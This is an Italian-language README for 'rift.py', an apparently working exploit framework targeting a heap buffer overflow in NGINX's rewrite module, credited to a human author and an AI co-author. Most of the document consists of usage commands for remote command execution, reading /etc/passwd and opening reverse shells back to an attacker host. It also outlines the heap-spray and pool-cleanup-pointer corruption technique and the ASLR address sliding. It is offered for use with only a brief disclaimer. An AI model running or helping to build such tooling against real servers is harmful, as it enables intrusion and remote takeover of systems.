
Una vulnerabilità è stata trovata in NGINX, specificamente nel modulo ngx_http_rewrite_module. Un attaccante non autenticato può sfruttare questa vulnerabilità inviando richieste HTTP appositamente create in specifiche configurazioni di riscrittura. Ciò può portare a un heap buffer overflow nel processo worker di NGINX, che potrebbe comportare l'esecuzione arbitraria di codice.
Autore: Michael Sanji Winaya Prawiradibrata
Co-autore AI: Varanus — sahabatku
Framework di exploit per heap buffer overflow mirato al modulo
ngx_http_rewrite_moduledi NGINX.
Un unico strumento per ricognizione + sfruttamento. Zero dipendenze esterne.
| File | Descrizione |
|---|---|
rift.py | Strumento principale. Ricognizione e sfruttamento combinati in un unico script (1026 righe). |
README.md | Questa documentazione. |
# 1. Ricognizione completa — rilevamento versione, endpoint, vulnerabilità, strategia
python3 rift.py --target 10.10.10.10 --recon
# 2. Ricognizione + sfruttamento in un colpo solo
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. Esecuzione di comandi
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell (con apertura automatica del listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. Reverse shell usando bash (invece di python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. Solo verifica vulnerabilità
python3 rift.py --target 10.10.10.10 --check-only
Quando si usa --shell, lo script automaticamente:
--shell-type--lportnc -lvnp), fallback listener PythonSe l'indirizzo predefinito fallisce, lo script sposta automaticamente la base dello heap di ±5 passi × 0x10000, cercando un indirizzo valido. Nessuna configurazione manuale necessaria.
4 tipi di payload shell — python, bash, nc, php. Scegli quello disponibile sul target.
--recon esegue 5 fasi:
--output json per l'integrazione con altri strumenti o l'analisi automatica.
Il target dello sfruttamento è NGINX con configurazione rewrite + set come questa:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # calcolo lunghezza con is_args = 0
}
Conseguenza: il buffer allocato è troppo piccolo, l'escape URI (espansione 3×) causa overflow.
1. HEAP SPRAY ─── POST /spray × 20 → pianta una `ngx_pool_cleanup_s` falsa nell'heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow tramite escape URI
3. CORRUPT ────── L'overflow sovrascrive il puntatore cleanup del pool adiacente
4. EXEC ───────── Pool distrutto → chiama system("comando")
rift.py)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080, --port 443--auto per lo scorrimento automatico ASLR--verbose per vedere i dettagli di ogni tentativosudo ufw allow 4444--lhost — assicurati che l'IP locale sia corretto--shell-type bash o --shell-type ncCreato solo per scopi educativi e test di sicurezza autorizzati.
L'uso su sistemi senza autorizzazione è illegale.
© 2026 Michael Sanji Winaya Prawiradibrata
Co-autore AI: Varanus
| Flag | Funzione |
|---|
--recon | Ricognizione completa. Impronta → leak di informazioni → test endpoint → conteggio worker → strategia. |
--auto | Ricognizione + sfruttamento automatici. Uguale a --recon seguito immediatamente dallo sfruttamento. |
--check-only | Verifica rapida. Rilevamento NGINX, versione, endpoint /api/. |
--cmd "comando" | Esecuzione di un singolo comando tramite system(). |
--shell | Reverse shell — apre automaticamente il listener, invia il payload, riceve la connessione. |
| Flag | Default | Funzione |
|---|
--port | 80 | Porta del target |
--lhost | — | IP locale per la reverse shell (obbligatorio con --shell) |
--lport | 4444 | Porta locale per il listener |
--shell-type | python | Payload reverse shell: python, bash, nc, php |
--heap-base | 0x555555659000 | Indirizzo base dello heap (override per bypass ASLR) |
--libc-base | 0x7ffff77ba000 | Indirizzo base di libc |
--tries | 10 | Tentativi per indirizzo candidato |
--verbose / -v | — | Output dettagliato per ogni tentativo |
| Flag | Funzione |
|---|
--fingerprint | Rilevamento versione NGINX, endpoint, modulo rewrite |
--leak | Verifica leak di informazioni (indirizzi di memoria nella pagina di errore, timing) |
--test-endpoint | Test del comportamento dell'endpoint con vari payload |
--endpoint | Percorso dell'endpoint da testare (default: /api/) |
--generate-exploit | Genera uno script di exploit personalizzato con indirizzi target |
--output json | Output JSON (leggibile da macchina) insieme all'output nel terminale |
| Costante | Default | Significato |
|---|
BODY_LEN | 4000 | Dimensione del body dello spray (byte) |
N_SPRAY | 20 | Numero di richieste POST per tentativo |
LIBC_SYSTEM_OFFSETS | 7 voci | Offset di system() per varie distribuzioni |
PREREAD_HEAP_OFFSETS | 19 voci | Offset candidati dell'heap |
DEFAULT_HEAP_BASE | 0x555555659000 | Base dell'heap (ASLR disattivato) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | Base di libc (ASLR disattivato) |